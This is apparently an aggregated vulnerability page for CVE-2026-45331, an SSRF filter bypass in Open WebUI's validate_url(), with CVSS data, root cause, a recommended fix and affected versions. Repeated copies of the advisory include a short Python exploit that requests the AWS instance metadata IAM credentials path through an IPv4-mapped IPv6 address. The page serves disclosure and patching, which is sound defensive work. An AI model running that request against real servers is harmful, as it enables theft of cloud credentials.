CVE-2026-45331
Open WebUI: Full SSRF Vulnerability in the RAG Web Search Feature
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.5
Open WebUI: Full SSRF Vulnerability in the RAG Web Search Feature
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.
- Record
CVE-2026-45331- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-30611
8.5
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.
- Record
EUVD-2026-30611- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4v7r-f4w8-8972
8.5
Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature
SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()
Summary
validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.
The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.
Affected code
backend/open_webui/retrieval/web/utils.py validate_url():
if validators.ipv6(ip, private=True): # ValidationError is falsy — never raises
raise ValueError(...)
Proof of concept
import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})
End-to-end exploit:
import requests, ipaddress
OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254" # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4
requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})
Impact
Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.
Recommended fix
Replace the validators library calls with stdlib ipaddress:
import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
addr_v4 = addr.ipv4_mapped
if addr_v4.is_private or addr_v4.is_loopback or ...:
raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).
Related but separate advisories
- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
- Playwright loader redirect: GHSA-jrfp-m64g-pcwv
- Missing
validate_url()call in image_generations: GHSA-h7cc-wwjp-5xqh
Credits
- Dor Konis (dkonis, GE Vernova) — first to identify the
validators.ipv6(private=True)silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report). - wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.
Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.
- Record
GHSA-4v7r-f4w8-8972- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
8.5
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.
- Record
CVE-2026-45331- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
8.5
Open WebUI: Full SSRF Vulnerability in the RAG Web Search Feature
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.
- Record
CVE-2026-45331- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-4v7r-f4w8-8972
8.5
Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature
SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()
Summary
validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.
The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.
Affected code
backend/open_webui/retrieval/web/utils.py validate_url():
if validators.ipv6(ip, private=True): # ValidationError is falsy — never raises
raise ValueError(...)
Proof of concept
import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})
End-to-end exploit:
import requests, ipaddress
OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254" # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4
requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})
Impact
Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.
Recommended fix
Replace the validators library calls with stdlib ipaddress:
import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
addr_v4 = addr.ipv4_mapped
if addr_v4.is_private or addr_v4.is_loopback or ...:
raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).
Related but separate advisories
- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
- Playwright loader redirect: GHSA-jrfp-m64g-pcwv
- Missing
validate_url()call in image_generations: GHSA-h7cc-wwjp-5xqh
Credits
- Dor Konis (dkonis, GE Vernova) — first to identify the
validators.ipv6(private=True)silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report). - wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.
Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.
- Record
GHSA-4v7r-f4w8-8972- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-2702
8.5
Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature
SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()
Summary
validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.
The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.
Affected code
backend/open_webui/retrieval/web/utils.py validate_url():
if validators.ipv6(ip, private=True): # ValidationError is falsy — never raises
raise ValueError(...)
Proof of concept
import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})
End-to-end exploit:
import requests, ipaddress
OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254" # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4
requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})
Impact
Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.
Recommended fix
Replace the validators library calls with stdlib ipaddress:
import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
addr_v4 = addr.ipv4_mapped
if addr_v4.is_private or addr_v4.is_loopback or ...:
raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).
Related but separate advisories
- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
- Playwright loader redirect: GHSA-jrfp-m64g-pcwv
- Missing
validate_url()call in image_generations: GHSA-h7cc-wwjp-5xqh
Credits
- Dor Konis (dkonis, GE Vernova) — first to identify the
validators.ipv6(private=True)silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report). - wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.
Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.
- Record
PYSEC-2026-2702- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
open-webuiPyPI |
through 0.8.12 | 0.9.0 |
open-webuiPyPI |
before 0.9.0, plus listed versions 0.1.1240.1.1250.2.00.2.10.2.2 Show 45 moreShow less0.2.30.2.40.2.50.3.00.3.10.3.100.3.120.3.130.3.140.3.150.3.160.3.170.3.17.dev20.3.17.dev30.3.17.dev40.3.17.dev50.3.180.3.190.3.20.3.200.3.210.3.220.3.230.3.240.3.250.3.260.3.270.3.27.dev10.3.27.dev20.3.27.dev30.3.280.3.290.3.30.3.300.3.30.dev10.3.30.dev20.3.310.3.31.dev10.3.320.3.330.3.33.dev10.3.340.3.350.3.40.3.5 |
0.9.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45331 is a high vulnerability (CVSS 8.5) in Openwebui Open Webui, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 21st percentile. Fixed in open-webui 0.9.0.
References
github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972
github.com/advisories/GHSA-c6xv-rcvw-v685
github.com/open-webui/open-webui/releases/tag/v0.9.0
nvd.nist.gov/vuln/detail/CVE-2026-45331
github.com/advisories/GHSA-4v7r-f4w8-8972
github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45331.json
github.com/open-webui/open-webui
pypi.org/project/open-webui
Left out here: 101 versions. The JSON record has them.